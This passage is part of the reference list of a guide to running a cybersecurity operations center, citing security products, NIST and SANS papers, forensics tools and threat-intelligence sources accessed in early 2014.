http://sourceforge.net/projects/xprobe/. [Accessed 13 Feb 2014]. [132] Ci sco, “Intelligent Cybersecurity Solutions | Sourcefire,” 2014. [Online]. Available: http://www.sourcefire.com/security-technologies/cyber-security-products/3d-sys - tem/network-awareness. [Accessed 13 Feb 2014]. [133] E ttercap Project, “Ettercap Home Page,” 2014. [Online]. Available: http://ettercap. github.io/ettercap/. [Accessed 13 Feb 2014]. [134] J . M. Allen, “OS and Application Fingerprinting Techniques,” 22 Sept 2007. [Online]. Available: http://www.sans.org/reading_room/whitepapers/protocols/os-application-fingerprinting-techniques_1891. [Accessed 13 Feb 2014]. [135] K . Scarfone and P. Mell, “NIST Special Publication 800-94: Guide to Intrusion Detection and Prevention Systems (IDPS),” Feb 2007. [Online]. Available: http://csrc.nist.gov/publications/nistpubs/800-94/SP800-94.pdf. [Accessed 13 Feb 2014]. [136] N . Pappas, “Network IDS & IPS Deployment Strategies,” 2 April 2008. [Online]. Available: http://www.sans.org/reading_room/whitepapers/detection/network-ids-ips-deployment-strategies_2143. [Accessed 13 Feb 2014]. [137] M . Heckathorn, “Network Monitoring for Web-Based Threats,” Feb 2011. [Online]. Available: http://www.sei.cmu.edu/reports/11tr005.pdf. [Accessed 13 Feb 2014]. [138] Ci sco, “Cisco IOS NetFlow,” 2014. [Online]. Available: http://www.cisco.com/en/US/ products/ps6601/products_ios_protocol_group_home.html. [Accessed 13 Feb 2014]. [139] B . Claise, “Request for Comments: 3954 Cisco Systems NetFlow Services Export Version 9,” Oct 2004. [Online]. Available: http://www.ietf.org/rfc/rfc3954.txt. [Accessed 13 Feb 2014]. 266 [140] W ikimedia Foundation, Inc., “Pen register,” 8 Feb 2014. [Online]. Available: http:// en.wikipedia.org/wiki/Pen_register. [Accessed 13 Feb 2014]. [141] B . Visscher, “Sguil,” May 2011. [Online]. Available: http://sguil.sourceforge.net/. [Accessed 13 Feb 2014]. [142] M . Lucas, Network Flow Analysis, No Starch Press, 2010. [143] I nternational Business Machines, “IBM - Proventia Network Intrusion Prevention System,” 2014. [Online]. Available: http://www-935.ibm.com/services/in/en/it-ser - vices/proventia-network-intrusion-prevention-system.html. [Accessed 13 Feb 2014]. [144] C . L. Van Jacobson and S. McCanne, “Tcpdump/Libpcap public repository,” 2014. [Online]. Available: http://www.tcpdump.org/. [Accessed 13 Feb 2014]. [145] W ikimedia Foundation, Inc., “Optical Carrier Transmission Rates,” 3 Feb 2014. [Online]. Available: http://en.wikipedia.org/wiki/Optical_Carrier_transmission_ rates. [Accessed 13 Feb 2014]. [146] E mulex Corporation, “DAG Packet Capture Cards,” 2014. [Online]. Available: http:// www.emulex.com/products/network-visibility-products/dag-packet-capture-cards/features/. [Accessed 13 Feb 2014]. [147] E MC Corporation, “RSA NetWitness,” 2014. [Online]. Available: http://www.emc. com/security/rsa-netwitness.htm. [Accessed 14 Feb 2014]. [148] S olera Networks, Inc., “Appliances | Solera Networks,” 2014. [Online]. Available: http://www.soleranetworks.com/products/security-analytics/appliances/. [Accessed 14 Feb 2014]. [149] A ccessData Group, LLC, “SilentRunner Sentinel Network Forensics Software,” 2014. [Online]. Available: http://www.accessdata.com/products/cyber-security/silent-run - ner. [Accessed 14 Feb 2014]. [150] O racle Corporation, “Oracle Solaris ZFS Administration Guide,” 2010. [Online]. Available: http://docs.oracle.com/cd/E19253-01/819-5461/index.html. [Accessed 13 Feb 2014]. [151] J . Østergaard and E. Bueso, “The Software-RAID HOWTO,” 6 March 2010. [Online]. Available: http://tldp.org/HOWTO/Software-RAID-HOWTO.html. [Accessed 14 Feb 2014]. [152] N VIDIA Corporation, “CUDA,” 2014. [Online]. Available: http://www.nvidia.com/ object/cuda_home_new.html. [Accessed 14 Feb 2014]. [153] K hronos Group, “OpenCL,” 2014. [Online]. Available: http://www.khronos.org/ opencl/. [Accessed 14 Feb 2014]. [154] C SP, Inc., “Myricom Cybersecurity,” 2014. [Online]. Available: https://www.myricom. com/solutions/cybersecurity.html. [Accessed 14 Feb 2014]. [155] V Mware, Inc., “VMware ESX and VMware ESXi,” 2009. [Online]. Available: http:// www.vmware.com/files/pdf/VMware-ESX-and-VMware-ESXi-DS-EN.pdf. [Accessed 14 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center267 [156] Ci trix Systems, “The Xen Project,” 2014. [Online]. Available: http://www.xenproject. org/. [Accessed 14 Feb 2014]. [157] E . Valente, “Capturing 10G versus 1G Traffic Using Correct Settings!,” 2009. [Online]. Available: http://www.sans.org/reading_room/whitepapers/detection/captur - ing-10g-1g-traffic-correct-settings_33043. [Accessed 14 Feb 2014]. [158] N orman Shark, “Malware Analysis - Normak Shark malware analysis sandbox,” 2014. [Online]. Available: http://normanshark.com/products-solutions/products/ malware-analysis-mag2/. [Accessed 14 Feb 2014]. [159] D amballa, Inc., “Next Generation Anti-Virus: The Pros and Cons of Dynamic Malware Dissection,” 1 Aug 2011. [Online]. Available: http://www.damballa.com/downloads/r_pubs/WP_Next_Generation_Anti-Virus.pdf. [Accessed 14 Feb 2014]. [160] L . R. Even, “Intrusion Detection FAQ: What is a Honeypot?,” 12 July 2000. [Online]. Available: http://www.sans.org/security-resources/idfaq/honeypot3.php. [Accessed 14 Feb 2014]. [161] T he Honeynet Project, Know Your Enemy: Learning about Security Threats (2nd Edition), Addison-Wesley Professional, 2004. [162] G artner, Inc., “Hype Cycle for Information Security, 2003,” Gartner, Inc., Stamford, CT, 2003. [163] W ikimedia Foundation, Inc., “Cryptographic Hash Function,” 12 Feb 2014. [Online]. Available: http://en.wikipedia.org/wiki/Cryptographic_hash_function. [Accessed 14 Feb 2014]. [164] W ikimedia Foundation, Inc., “Ring (computer security),” 14 Feb 2014. [Online]. Available: http://en.wikipedia.org/wiki/Ring_%28computer_security%29. [Accessed 14 Feb 2014]. [165] J . Rutkowska, “Introducing Blue Pill,” 22 June 2006. [Online]. Available: http://the - invisiblethings.blogspot.com/2006/06/introducing-blue-pill.html. [Accessed 14 Feb 2014]. [166] N . L. Petroni, Jr., T. Fraser, J. Molina and W. A. Arbaugh, “Copilot - a Coprocessor- based Kernel Runtime Integrity Monitor,” in USENIX Security 2004 , San Diego, CA, 2004. [167] T rusted Computing Group, “Trusted Platform Module,” 2014. [Online]. Available: http://www.trustedcomputinggroup.org/developers/trusted_platform_module/. [Accessed 14 Feb 2014]. [168] G . Hoglund and J. Butler, Rootkits: Subverting the Windows Kernel, Addison-Wesley Professional, 2005. [169] G . Ollmann, “Enterprise Protection Against Botnet Breaches,” 2009. [Online]. Available: http:/ /www.damballa.com/downloads/r_pubs/WP_SerialVariantEvasionTactics.pdf. [Accessed 14 Feb 2014]. [170] M andiant Corporation, “M-Trends 2010,” January 2010. [Online]. Available: https:// www.mandiant.com/resources/mandiant-reports/. [Accessed 14 Feb 2014]. 268 [171] D . Raywood, “Antivirus programs only detect 18% of zero-day malware,” 11 Aug 2010. [Online]. Available: http:/ /www.scmagazine.com.au/News/224259,antivirus- programs-only-detect-18-of-zero-day-malware.aspx. [Accessed 14 Feb 2014]. [172] D . Goodin, “Anti-virus protection gets worse,” 21 Dec 2007. [Online]. Available: http://www.channelregister.co.uk/2007/12/21/dwindling_antivirus_protection/. [Accessed 14 Feb 2014]. [173] R . McMillan, “Is Antivirus Software a Waste of Money?,” 2 Mar 2012. [Online]. Available: http://www.wired.com/wiredenterprise/2012/03/antivirus/. [Accessed 14 Feb 2014]. [174] A V-Comparatives.org, “Welcome to AV-Comparatives.org,” 2014. [Online]. Available: http://www.av-comparatives.org/. [Accessed 14 Feb 2014]. [175] I BM, “IBM Security Server Protection,” 2014. [Online]. Available: http://www-01.ibm. com/software/tivoli/products/security-server-protection/. [Accessed 14 Feb 2014]. [176] M cAfee, Inc., “McAfee Host Intrusion Prevention for Server,” 2014. [Online]. Available: http://www.mcafee.com/us/products/host-ips-for-server.aspx. [Accessed 14 Feb 2014]. [177] S ymantec Corporation, “Symantec Endpoint Protection,” 2014. [Online]. Available: http://www.symantec.com/endpoint-protection. [Accessed 14 Feb 2014]. [178] S ophos, Ltd., “Enterprise Endpoint Antivirus Suite | Data Protection for All Devices,” 2014. [Online]. Available: http://www.sophos.com/en-us/products/enduser-protec - tion-suites.aspx. [Accessed 14 Feb 2014]. [179] T echTarget, “Application Blacklisting,” Jun 2011. [Online]. Available: http://searchse - curity.techtarget.com/definition/application-blacklisting. [Accessed 14 Feb 2014]. [180] M icrosoft, “Windows 7 AppLocker Executive Overview,” 4 Dec 2013. [Online]. Available: http://technet.microsoft.com/en-us/library/dd548340%28v=ws.10%29.aspx. [Accessed 14 Feb 2014]. [181] B it9, Inc., “Application Whitelisting,” 2014. [Online]. Available: https://www.bit9. com/solutions/application-whitelisting/. [Accessed 14 Feb 2014]. [182] M cAfee, Inc., “McAfee Application Control,” 2014. [Online]. Available: http://www. mcafee.com/us/products/application-control.aspx. [Accessed 14 Feb 2014]. [183] C . Shaffer and C. Cuevas, “Raising the White Flag: Bypassing Application White Listing,” 28 Jan 2012. [Online]. Available: http://blog.c22.cc/2012/01/28/shmoocon-2012-raising-the-white-flag/. [Accessed 14 Feb 2014]. [184] A . Beuhring and K. Salous, “ShmooCon 2014 - Raising Costs for Your Attackers Instead of Your CFO,” Jan 2014. [Online]. Available: https://archive.org/details/ShmooCon2014_Raising_Costs_for_Your_Attackers_Instead_of_Your_CFO. [Accessed 14 Feb 2014]. [185] G eeknet, Inc., “Open Source Tripwire,” 5 Aug 2013. [Online]. Available: http://source - forge.net/projects/tripwire/. [Accessed 14 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center269 [186] T ripwire, Inc., “Tripwire,” 2014. [Online]. Available: http://www.tripwire.com/. [Accessed 14 Feb 2014]. [187] I nverse, “Packetfence,” 2013. [Online]. Available: http://www.packetfence.org/home. html. [Accessed 14 Feb 2014]. [188] M cAfee, Inc., “Network Security | McAfee Products,” 2014. [Online]. Available: http://www.mcafee.com/us/products/network-access-control.aspx. [Accessed 14 Feb 2014]. [189] J uniper Networks, Inc., “Unified Access Control,” 2014. [Online]. Available: http:// www.juniper.net/us/en/products-services/security/uac/. [Accessed 14 Feb 2014]. [190] M icrosoft, “Network Policy and Access Services,” 2014. [Online]. Available: http:// technet.microsoft.com/en-us/network/bb545879.aspx. [Accessed 14 Feb 2014]. [191] S . Wilkins, “Switchport Security Concepts and Configurations,” 1 July 2011. [Online]. Available: http://www.informit.com/articles/article.aspx?p=1722561. [Accessed 14 Feb 2014]. [192] J . Guttman, A. Herzog, J. Millen, L. Monk, J. Ramsdell, J. Sheehy, B. Sniffen, G. Coker and P. Loscocco, “Attestation: Evidence and Trust,” March 2007. [Online]. Available: http://www.mitre.org/publications/technical-papers/attestation-evidence-and-trust. [Accessed 14 Feb 2014]. [193] P . N. Ayuso, “The netfilter.org project,” 2010. [Online]. Available: http://www.netfil - ter.org/. [Accessed 14 Feb 2014]. [194] T he OpenBSD Team, “PF: The OpenBSD Packet Filter,” 13 Jan 2014. [Online]. Available: http://www.openbsd.org/faq/pf/. [Accessed 14 Feb 2014]. [195] S ymantec Corporation, “Symantec Endpoint Protection,” 2014. [Online]. Available: http://www.symantec.com/endpoint-protection. [Accessed 14 Feb 2014]. [196] C heck Point Software Technologies Ltd., “Firewall & Compliance Check,” 2014. [Online]. Available: http:/ /www.checkpoint.com/products/firewall-compliance-check/index.html. [Accessed 14 Feb 2014]. [197] M cAfee, Inc., “McAfee Host Intrusion Prevention for Desktop,” 2014. [Online]. Available: http://www.mcafee.com/us/products/host-ips-for-desktop.aspx. [Accessed 14 Feb 2014]. [198] M icrosoft, “Group Policy for Beginners,” 27 April 2011. [Online]. Available: http:// technet.microsoft.com/en-us/library/hh147307%28WS.10%29.aspx. [Accessed 14 Feb 2014]. [199] R aytheon Company, “Raytheon SureView,” 2014. [Online]. Available: http://www. raytheon.com/capabilities/products/cybersecurity/insiderthreat/products/sureview/. [Accessed 14 Feb 2014]. [200] Ob serveIT, “ObserveIT,” 2014. [Online]. Available: http://www.observeit.com/. [Accessed 14 Feb 2014]. 270 [201] M andiant, LLC, “Mandiant Intelligent Response,” 2014. [Online]. Available: https:// www.mandiant.com/products/mandiant-platform/intelligent-response. [Accessed 13 Jan 2014]. [202] A ccessData, “AccessData CIRT,” 2013. [Online]. Available: http://accessdata.com/ products/cyber-security-incident-response/cirt. [Accessed 14 Feb 2014]. [203] H BGary, Inc., “Responder Pro | HBGary,” 2013. [Online]. Available: http://www. hbgary.com/products/responder_pro. [Accessed 14 Feb 2014]. [204] G uidance Software, Inc., “Encase Enterprise,” 2014. [Online]. Available: http://www. guidancesoftware.com/products/Pages/encase-enterprise/overview.aspx. [Accessed 14 Feb 2014]. [205] B . M. Posey, “Demystifying the ‘Blue Screen of Death’,” 2014. [Online]. Available: http://technet.microsoft.com/en-us/library/cc750081.aspx. [Accessed 14 Feb 2014]. [206] D . Haye, “Harness the power of SIEM,” 15 April 2009. [Online]. Available: http:// www.sans.org/reading_room/whitepapers/detection/harness-power-siem_33204. [Accessed 14 Feb 2014]. [207] J . Voorhees, “Distilling Data in a SIM: A Strategy for the Analysis of Events in the ArcSight ESM,” 26 Sept 2007. [Online]. Available: http://www.sans.org/reading_room/whitepapers/detection/distilling-data-sim-strategy-analysis-events-arcsight-esm_1916. [Accessed 14 Feb 2014]. [208] A . A. Chuvakin, “Anton Chuvakin Homepage,” 12 Nov 2013. [Online]. Available: http://www.chuvakin.org/. [Accessed 14 Feb 2014]. [209] R . Marty, “Security Intelligence and Big Data | raffy.ch,” 19 Jan 2014. [Online]. Available: http://raffy.ch/blog/. [Accessed 14 Feb 2014]. [210] R . DeStefano, “visiblerisk blog,” 2014. [Online]. Available: http://www.visiblerisk. com/blog/. [Accessed 14 Feb 2014]. [211] K . Kent and M. Souppaya, “NIST Special Publication 800-92: Guide to Computer Security Log Management,” Sept 2006. [Online]. Available: http://csrc.nist.gov/publi - cations/nistpubs/800-92/SP800-92.pdf. [Accessed 13 Feb 2014]. [212] A . A. Chuvakin and K. J. Schmidt, Logging and Log Management: The Authoritative Guide to Dealing with Syslog, Audit Logs, Events, Alerts and other IT ‘Noise’, Boston, MA: Syngress, 2012. [213] M . Nicolett and K. M. Kavanagh, “Critical Capabilities for Security Information and Event Management,” 21 May 2012. [Online]. Available: https://www.gartner.com/doc/2022315. [Accessed 14 Feb 2014]. [214] I SACA, “Security Information and Event Management: Business Benefits and Security, Governance and Assurance Perspective,” 28 Dec 2010. [Online]. Available: http://www.isaca.org/Knowledge-Center/Research/ResearchDeliverables/Pages/Security-Information-and-Event-Management-Business-Benefits-and-Security-Governance-and-Assurance-Perspective.aspx. [Accessed 14 Feb 2014]. [215] U BM TechWeb, “Security Monitoring : Tech Center,” 2014. [Online]. Available: http:// www.darkreading.com/monitoring/. [Accessed 14 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center271 [216] M . Nicolett and K. M. Kavanagh, “Magic Quadrant for Security Information and Event Management,” 7 May 2013. [Online]. Available: https://www.gartner.com/ doc/2477018/magic-quadrant-security-information-event. [Accessed 14 Feb 2014]. [217] J . Dean and S. Ghemawat, Dec 2004. [Online]. Available: http://research.google.com/ archive/mapreduce.html. [Accessed 14 Feb 2014]. [218] S plunk Inc., “Splunk 4 Down Under,” 27 Aug 2009. [Online]. Available: http://blogs. splunk.com/2009/08/27/splunk-4-down-under/. [Accessed 14 Feb 2014]. [219] A . Chuvakin, “Something Fun About Using SIEM,” 18 Feb 2011. [Online]. Available: http://www.slideshare.net/anton_chuvakin/something-fun-about-using-siem-by-dr-anton-chuvakin. [Accessed 14 Feb 2014]. [220] w ww.decision-making-confidence.com, “Kepner Tregoe Decision Making The Steps, The Pros and The Cons,” 2013. [Online]. Available: http://www.decision-making-confidence.com/kepner-tregoe-decision-making.html. [Accessed 14 Feb 2014]. [221] A lienVault, “OSSIM: Open Source SIEM & Open Threat Exchange Projects,” 2014. [Online]. Available: http:/ /www.alienvault.com/open-threat-exchange/projects. [Accessed 13 Feb 2014]. [222] J . Sissel, “logstash,” 2013. [Online]. Available: http://logstash.net/. [Accessed 14 Feb 2014]. [223] R . Khan, “Kibana. Make sense of a mountain of logs,” 2014. [Online]. Available: http://kibana.org/. [Accessed 14 Feb 2014]. [224] B . Tung, “Common Intrusion Detection Framework (CIDF),” 10 Sept 1999. [Online]. Available: http://gost.isi.edu/cidf/. [Accessed 14 Feb 2014]. [225] R . Danyliw, J. Meijer and Y. Demchenko, “The Incident Object Description Exchange Format,” Dec 2007. [Online]. Available: http://www.ietf.org/rfc/rfc5070.txt. [Accessed 14 Feb 2014]. [226] B usinessWire, “ICSA Labs IDS Consortium Announces Network Intrusion Detection System Alert Specification Format,” 23 Feb 2004. [Online]. Available: http://www.businesswire.com/news/home/20040223005073/en/ICSA-Labs-IDS-Consortium-Announces-Network-Intrusion. [Accessed 14 Feb 2014]. [227] I SACA, “WebTrends Enhanced Log Format,” 17 Jul 2008. [Online]. Available: http:// download.logreport.org/pub/current/doc/user-manual/ch10s05.html. [Accessed 14 Feb 2014]. [228] I nternational Business Machines, “Common Event Infrastructure,” 2005. [Online]. Available: http://www-01.ibm.com/software/tivoli/features/cei/. [Accessed 14 Feb 2014]. [229] A rcSight, Inc., “Common Event Format,” 17 July 2009. [Online]. Available: http:// mita-tac.wikispaces.com/file/view/CEF+White+Paper+071709.pdf. [Accessed 14 Feb 2014]. [230] T he MITRE Corporation, “Common Event Expression (CEE),” 30 May 2013. [Online]. Available: http://cee.mitre.org/. [Accessed 14 Feb 2014]. 272 [231] C ornell University Law School, “Federal Rules of Evidence,” 1 Dec 2013. [Online]. Available: http://www.law.cornell.edu/rules/fre. [Accessed 14 Feb 2014]. [232] D . Levin, “Logs & The Law: What is Admissible in Court?,” 12 June 2006. [Online]. Available: http://www.slideshare.net/loglogic/logs-the-law-what-is-admissible-in- court. [Accessed 14 Feb 2014]. [233] W ikimedia Foundation, Inc., “Cloud Computing,” 14 Feb 2014. [Online]. Available: http://en.wikipedia.org/wiki/Cloud_computing. [Accessed 14 Feb 2014]. [234] O SSEC, “Log samples,” 26 June 2010. [Online]. Available: http://www.ossec.net/doc/ log_samples/. [Accessed 13 Feb 2014]. [235] K . Gorzelak, T. Grudziecki, P. Jacewicz, P. Jaroszewski, Ł. Juszczyk and P. Kijewski, “Proactive detection of network security incidents,” 7 Dec 2011. [Online]. Available: http://www.enisa.europa.eu/activities/cert/support/proactive-detection. [Accessed 14 Feb 2014]. [236] N et Optics, Inc., “NetOptics,” 2014. [Online]. Available: http://netoptics.com/. [Accessed 14 Feb 2014]. [237] F luke Corporation, “Tap Solutions,” 2014. [Online]. Available: http://www.flukenet - works.com/enterprise-network/network-monitoring/Tap-Solutions. [Accessed 14 Feb 2014]. [238] N etwork Critical Solutions Limited, “Network Critical,” 2011. [Online]. Available: http://www.networkcritical.com/. [Accessed 14 Feb 2014]. [239] D atacom Systems Inc., “Datacom Systems Inc. Network Taps,” 2013. [Online]. Available: http://www.datacomsystems.com/products/network-taps.asp. [Accessed 14 Feb 2014]. [240] D . G. Gomez, “Receive-only UTP cables and Network Taps,” May 2006. [Online]. Available: http://dgonzalez.net/pub/roc/roc.pdf. [Accessed 14 Feb 2014]. [241] O wl Computing Technologies, Inc., “Owl Computing Technologies, Inc.,” 2014. [Online]. Available: http://www.owlcti.com/. [Accessed 14 Feb 2014]. [242] H ewlett Packard Development Company, L.P., “Tenix Data Diode Based Solutions from HP,” 19 April 2004. [Online]. Available: ftp://ftp.hp.com/pub/services/security/products/info/tenix_data_wp.pdf. [Accessed 14 Feb 2014]. [243] M . W. Stevens, “An Implementation of an Optical Data Diode,” 14 July 1999. [Online]. Available: http://www.dsto.defence.gov.au/publications/2110/DSTO-TR-0785.pdf. [Accessed 14 Feb 2014]. [244] M . Trojnara, “stunnel: stunnel - multiplatform SSL tunneling proxy,” 26 Nov 2013. [Online]. Available: http://www.stunnel.org/. [Accessed 14 Feb 2014]. [245] W ikimedia Foundation, Inc., “VLAN Hopping,” 18 Dec 2013. [Online]. Available: http://en.wikipedia.org/wiki/VLAN_hopping. [Accessed 14 Feb 2014]. [246] R . Bejtlich, “What Is APT and What Does It Want?,” 16 Jan 2010. [Online]. Available: http://taosecurity.blogspot.com/2010/01/what-is-apt-and-what-does-it-want.html. [Accessed 4 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center273 [247] D . Edwards, “What is DevOps?,” 23 Feb 2012. [Online]. Available: http://dev2ops. org/2010/02/what-is-devops/. [Accessed 13 Jan 2014]. [248] F ireEye, Inc., “FireEye,” 2014. [Online]. Available: http://www.fireeye.com/. [Accessed 13 Jan 2014]. [249] C . Guarnieri, “Automated Malware Analysis - Cuckoo Sandbox,” 2013. [Online]. Available: http://www.cuckoosandbox.org/. [Accessed 13 Jan 2014]. [250] V Mware, Inc., “VMware Workstation,” 2014. [Online]. Available: http://www. vmware.com/products/workstation/. [Accessed 13 Jan 2014]. [251] M icrosoft, “Microsoft Windows,” 2014. [Online]. Available: http://windows.microsoft. com/en-us/windows/home. [Accessed 13 Jan 2014]. [252] M icrosoft, “Windows Sysinternals,” 2014. [Online]. Available: http://technet.micro - soft.com/en-us/sysinternals/default. [Accessed 13 Jan 2014]. [253] T . Hungenberg and M. Eckert, “INetSim: Internet Services Simulation Suite,” 2013. [Online]. Available: http://www.inetsim.org/. [Accessed 13 Jan 2014]. [254] W . Shields, “An Introduction to chopshop,” 7 Nov 2012. [Online]. Available: http:// www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/an-introduc - tion-to-chopshop-network-protocol. [Accessed 13 Jan 2014]. [255] H ex-Rays SA, “IDA: About,” 25 Jul 2012. [Online]. Available: http://www.hex-rays. com/products/ida/index.shtml. [Accessed 13 Jan 2014]. [256] M icrosoft, “Windows Driver Kit (WDK) and Debugging Tools for Windows (WinDbg) downloads,” 2014. [Online]. Available: http:/ /www.microsoft.com/whdc/devtools/ debugging/default.mspx. [Accessed 13 Jan 2014]. [257] O . Yuschuk, “OllyDbg,” 2013. [Online]. Available: http://www.ollydbg.de/. [Accessed 13 Jan 2014]. [258] G uidance Software, Inc., “EnCase Forensic,” 2014. [Online]. Available: http://www. guidancesoftware.com/products/Pages/encase-forensic/overview.aspx. [Accessed 13 Jan 2014]. [259] A ccessData Group, LLC, “FTK,” 2013. [Online]. Available: http://www.accessdata. com/products/digital-forensics/ftk. [Accessed 13 Jan 2014]. [260] B . Carrier, “The Sleuth Kit (TSK) & Autopsy: Open Source Digital Forensics Tools,” 2013. [Online]. Available: http://www.sleuthkit.org/. [Accessed 13 Jan 2014]. [261] S ANS Institute, “SANS SIFT Kit/Workstation: Investigative Forensic Toolkit Download,” 2014. [Online]. Available: http://computer-forensics.sans.org/community/downloads. [Accessed 13 Jan 2014]. [262] M . Ligh, A. Case, J. Levy and A. Walters, “volatility - An advanced memory foren - sics framework,” 2014. [Online]. Available: https://code.google.com/p/volatility/. [Accessed 13 Jan 2014]. [263] G uidance Software, Inc., “Tableau Forensic Products - Forensic Bridges,” 2014. [Online]. Available: http://www.tableau.com/index.php?pageid=products&category=forensic_bridges. [Accessed 13 Jan 2014]. 274 [264] D igital Intelligence, “FRED,” 2014. [Online]. Available: http://www.digitalintelli - gence.com/products/fred/. [Accessed 13 Jan 2014]. [265] X . Kovah, “Open Security Training .Info,” 2014. [Online]. Available: http://opensecu - ritytraining.info/. [Accessed 13 Jan 2014]. [266] W ikimedia Foundation, Inc., “Wiki,” 12 Feb 2012. [Online]. Available: http:// en.wikipedia.org/wiki/Wiki. [Accessed 14 Feb 2012]. [267] P alantir Technologies, “Home | Palantir,” 2013. [Online]. Available: https://www. palantir.com/. [Accessed 13 Jan 2014]. [268] F S-ISAC, “Welcome to the Cyber Intelligence Repository Landing Page,” 2013. [Online]. Available: https://www.fsisac.com/CyberIntelligenceRepository. [Accessed 4 Feb 2014]. [269] R EN-ISAC, “collective-intelligence-framework,” 2014. [Online]. Available: https:// code.google.com/p/collective-intelligence-framework/. [Accessed 4 Feb 2014]. [270] L ockheed Martin Corporation, “Cyber Intelligence Enteprise Solutions,” 2013. [Online]. Available: http:/ /www.lockheedmartin.com/us/what-we-do/information-technology/cyber-security/cyber-intelligence-enterprise.html. [Accessed 4 Feb 2014]. [271] C yber Squared Inc., “ThreatConnect | Threat Analysis and Community,” 2014. [Online]. Available: http://www.threatconnect.com/. [Accessed 4 Feb 2014]. [272] T he MITRE Corporation, “Collaborative Research into Threats (CRITs) | The MITRE Corporation,” 2014. [Online]. Available: http:/ /www.mitre.org/research/technology-transfer/technology-licensing/collaborative-research-into-threats-crits. [Accessed 13 Jan 2014]. [273] H BGary, Inc., “Responder Pro | HBGary,” 2013. [Online]. Available: http://www. hbgary.com/products/responder_pro. [Accessed 13 Jan 2014]. [274] G uidance Software, Inc., “Encase Enterprise,” 2014. [Online]. Available: http://www. guidancesoftware.com/products/Pages/encase-enterprise/overview.aspx. [Accessed 13 Jan 2014]. [275] F IRST.org, Inc., “FIRST,” 2014. [Online]. Available: http://www.first.org/. [Accessed 14 Feb 2014]. [276] I SAC Council, “National Council of ISACs,” 2014. [Online]. Available: http://www. isaccouncil.org/. [Accessed 16 Feb 2014]. [277] B . Bakis, “Blueprint for Cyber Threat Sharing - Lessons Learned & Challenges,” 13 Dec 2013. [Online]. Available: http://www.mitre.org/capabilities/cybersecurity/over - view/cybersecurity-blog/blueprint-for-cyber-threat-sharing-lessons. [Accessed 16 Feb 2014]. [278] B it9, Inc., “Simplify and Speed Cyber Forensics Investigations,” 2014. [Online]. Available: https://www.bit9.com/solutions/cloud-services/cyber-forensics/. [Accessed 16 Feb 2014]. [279] C rowdStrike, Inc., “CrowdStrike: a Stealth-Mode Security Start-Up,” 2014. [Online]. Available: http://www.crowdstrike.com/. [Accessed 16 Feb 2014].References T en Strategies of a World-Class Cybersecurity Operations Center275 [280] V eriSign, Inc., “iDefense Security Intelligence Services,” 2014. [Online]. Available: http://www.verisigninc.com/en_US/cyber-security/index.xhtml. [Accessed 16 Feb 2014]. [281] S ymantec Corporation, “DeepSight Security Intelligence Products,” 2014. [Online]. Available: http://www.symantec.com/deepsight-products. [Accessed 16 Feb 2014]. [282] T he MITRE Corporation, “Cyber Intelligence Threat Analysis,” 5 Jul 2013. [Online]. Available: http://msm.mitre.org/directory/areas/threatanalysis.html. [Accessed 16 Feb 2014]. [283] W ikimedia Foundation, Inc., “Fast flux,” 15 Jun 2013. [Online]. Available: http:// en.wikipedia.org/wiki/Fast_flux. [Accessed 14 Feb 2014]. [284] B est Practical Solutions LLC, “RTIR: RT for Incident Response,” 2014. [Online]. Available: http://bestpractical.com/rtir/. [Accessed 16 Feb 2014]. [285] W ikimedia Foundation, Inc., “Wiki,” 1 Feb 2014. [Online]. Available: http:// en.wikipedia.org/wiki/Wiki. [Accessed 16 Feb 2014]. [286] J . Viega, “Why most companies shouldn’t run intrusion prevention,” 4 Dec 2008. [Online]. Available: http://broadcast.oreilly.com/2008/12/why-most-companies-shouldnt-ru.html. [Accessed 16 Feb 2014]. [287] J . Allen, D. Gabbard and C. May, “Outsourcing Managed Security Services,” January 2003. [Online]. Available: http://resources.sei.cmu.edu/library/asset-view.cfm?assetID=6319. [Accessed 16 Feb 2014]. [288] C arnegie Mellon University CERT, “Creating a Computer Security Incident Response Team: A Process for Getting Started,” 26 Feb 2006. [Online]. Available: http://www.cert.org/incident-management/products-services/creating-a-csirt.cfm. [Accessed 16 Feb 2014]. [289] A . Jaquith, Security Metrics: Replacing Fear, Uncertainty, and Doubt, Boston, MA: Pearson Education, Inc., 2007. [290] H ewlett-Packard Development Company, L.P., “State of security operations,” Jan 2014. [Online]. Available: http://www.hp.com/go/StateOfSecOps. [Accessed 3 Mar 2014]. [291] N ational Institute of Standards and Technology (NIST), “Managing Information Security Risk: Organization, Mission, and Information System View,” Gaithersburg, MD, 2011. [292] R isk Steering Committee, “DHS Risk Lexicon,” Sept 2010. [Online]. Available: http:// www.dhs.gov/dhs-risk-lexicon. [Accessed 16 Feb 2014]. [293] M . Cloppert, “Security Intelligence: Attacking the Kill Chain,” SANS, 14 Oct 2009. [Online]. Available: http://computer-forensics.sans.org/blog/2009/10/14/security-intelligence-attacking-the-kill-chain/. [Accessed 13 Feb 2014]. [294] T he MITRE Corporation, “Cyber Observable eXpression – CybOX™,” 6 Feb 2012. [Online]. Available: http://makingsecuritymeasurable.mitre.org/docs/cybox-intro-handout.pdf. [Accessed 16 Feb 2014]. 276 [295] N ational Security Council, “Cybersecurity,” 29 May 2009. [Online]. Available: http:// www.whitehouse.gov/issues/foreign-policy/cybersecurity. [Accessed 16 Feb 2014]. [296] I Gnet, “Council of the Inspectors General on Integrity and Efficiency,” 2014. [Online]. Available: http://www.ignet.gov/. [Accessed 16 Feb 2014]. [297] C hairman of the Joint Chiefs of Staff, “Chairman of the Joint Chiefs of Staff Instruction (CJCSI) 5120.02,” 30 Nov 2004. [Online]. Available: http://www.bits.de/ NRANEU/others/jp-doctrine/cjcsi5120_02%2804%29.pdf. [Accessed 16 Feb 2014]. [298] W ikimedia Foundation, Inc., “ZFS,” 13 Feb 2012. [Online]. Available: http:// en.wikipedia.org/wiki/ZFS. [Accessed 13 Feb 2012]. [299] W ikimedia Foundation, Inc., “Whac-A-Mole,” 27 Jan 2012. [Online]. Available: http:// en.wikipedia.org/wiki/Whac-A-Mole. [Accessed 20 Feb 2012]. [300] S ensage, Inc., “Sensage,” 2011. [Online]. Available: http://www.sensage.com/. [Accessed 24 Feb 2012]. [301] J . Seitz, Gray Hat Python: Python Programming for Hackers and Reverse Engineers, San Francisco: No Starch Press, 2009. [302] S ANS Institute, “Cyber Attack Threat Map,” 2008. [Online]. Available: http://www. sans.org/whatworks/poster_fall_08.pdf. 